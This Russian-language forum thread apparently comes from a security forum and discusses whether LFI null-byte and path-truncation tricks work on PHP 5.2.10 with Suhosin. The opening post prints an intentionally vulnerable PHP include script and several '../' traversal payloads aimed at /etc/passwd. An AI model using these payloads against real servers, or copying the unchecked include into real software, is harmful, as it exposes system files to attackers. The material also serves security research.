PHP 5.2.10-2ubuntu6.1 with Suhosin-Patch 0.9.28 suhosin - advanced protection module for php5 В обычном PHP, без Suhosin патча, null byte работает при magic_quotes_gpc = OFF, но не работает замена null byte (////[4096]////) Провел исследование для PHP 5.2.10-2ubuntu6.1 with Suhosin-Patch 0.9.28 и оно не очень так сказать хорошее ( Скрипт (обычный LFI): PHP: <pre> <?php if (isset($_GET['p'])) { echo "PATH: ".$_GET['p']."\n"; include("./".$_GET['p'].".txt"); } else { echo "Переменная не определена\r\n"; } ?> </pre> Результаты при magic_quotes_gpc = OFF и magic_quotes_gpc = ON не отличаются. 1. test.php?p=../../../../../../../etc/passwd Результат: 2. test.php?p=../../../../../../../etc/passwd%00 Результат: 3. test.php?p=../../../../../../../etc/passwd//////[4096]///// Результат: 4. test.php?p=../../../../../../../etc/passwd//////[1024]///// Результат: 5. test.php?p=../../../../../../../etc/passwd//////[512]///// Результат: Если объявить переменную: PS если что-то не так поправьте
Хм, проверил на версии PHP Version 5.2.11 (CentOS) без Suhosin от Oct 7 2009 08:33:09, там работает. А у меня PHP 5.2.10-2ubuntu6.1 с Suhosin от Oct 29 2009 19:02:41 не пашет. Разобрался! Обновил пост.
. Если мне не изменяет память,второй вариант и не должен работать при таком наборе данных.Тоесть,если переменная определена в движке,прямо в коде,то неважно сколько символов она в себя включает.Обрезание производиться,когда данные поступают из веба.Помоему.Может и не так,поправьте.
if (isset($_GET['p'])) - а откуда здесь данные берутся, как не "из веба"? Ничего тут не определенно, обычнейший GET
Cам проверь и тогда поймешь что где обрезается =) Постить на догадках - бред, да мало-ли что может быть. Так что меньше пустословия, больше фактов... за тобой я это давно уже заметил.